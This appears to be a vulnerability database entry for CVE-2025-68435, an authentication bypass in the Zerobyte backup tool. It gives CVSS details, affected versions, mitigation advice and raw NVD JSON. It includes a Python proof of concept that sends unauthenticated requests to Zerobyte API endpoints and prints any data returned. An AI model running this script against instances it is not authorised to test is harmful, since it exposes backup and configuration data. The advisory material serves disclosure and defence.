Security Vulnerability Report
中文
CVE-2025-68435 CVSS 9.1 CRITICAL

CVE-2025-68435

Published: 2025-12-17 23:16:06
Last Modified: 2026-03-05 19:30:17

Description

Zerobyte is a backup automation tool Zerobyte versions prior to 0.18.5 and 0.19.0 contain an authentication bypass vulnerability where authentication middleware is not properly applied to API endpoints. This results in certain API endpoints being accessible without valid session credentials. This is dangerous for those who have exposed Zerobyte to be used outside of their internal network. A fix has been applied in both version 0.19.0 and 0.18.5. If immediate upgrade is not possible, restrict network access to the Zerobyte instance to trusted networks only using firewall rules or network segmentation. This is only a temporary mitigation; upgrading is strongly recommended.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nicotsx:zerobyte:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nicotsx:zerobyte:0.19.0:beta1:*:*:*:*:*:* - VULNERABLE
Zerobyte < 0.18.5
Zerobyte < 0.19.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-68435 PoC - Zerobyte Authentication Bypass # Target: Zerobyte backup automation tool # Vulnerability: Authentication middleware not properly applied to API endpoints def check_zerobyte_auth_bypass(target_url): """ Check if target Zerobyte instance is vulnerable to CVE-2025-68435 """ vulnerable_endpoints = [ "/api/backups", "/api/configurations", "/api/jobs", "/api/system/info" ] print(f"[*] Testing {target_url} for CVE-2025-68435") print(f"[*] Target: {target_url}") print("-" * 50) for endpoint in vulnerable_endpoints: url = f"{target_url.rstrip('/')}{endpoint}" try: # Send request without any authentication headers response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Response: {response.text[:200]}...") elif response.status_code == 401: print(f"[-] Protected: {url} (401 Unauthorized)") else: print(f"[*] Endpoint: {url} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {url}: {e}") print("-" * 50) print("[*] Scan complete") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] check_zerobyte_auth_bypass(target) else: print("Usage: python cve-2025-68435_poc.py http://target:port")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68435", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:16:05.747", "lastModified": "2026-03-05T19:30:16.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zerobyte is a backup automation tool Zerobyte versions prior to 0.18.5 and 0.19.0 contain an authentication bypass vulnerability where authentication middleware is not properly applied to API endpoints. This results in certain API endpoints being accessible without valid session credentials. This is dangerous for those who have exposed Zerobyte to be used outside of their internal network. A fix has been applied in both version 0.19.0 and 0.18.5. If immediate upgrade is not possible, restrict network access to the Zerobyte instance to trusted networks only using firewall rules or network segmentation. This is only a temporary mitigation; upgrading is strongly recommended."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-305"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nicotsx:zerobyte:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.18.5", "matchCriteriaId": "35D7F142-68D1-470E-A7C9-2DD3B4853E66"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nicotsx:zerobyte:0.19.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "CADD228A-ABF0-48DB-97E1-12C8AA30A5B6"}]}]}], "references": [{"url": "https://github.com/nicotsx/zerobyte/commit/13e080a18967705bd2b4e110e5f7693fdca1c692", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nicotsx/zerobyte/issues/161", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/nicotsx/zerobyte/security/advisories/GHSA-x539-c98q-38gv", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}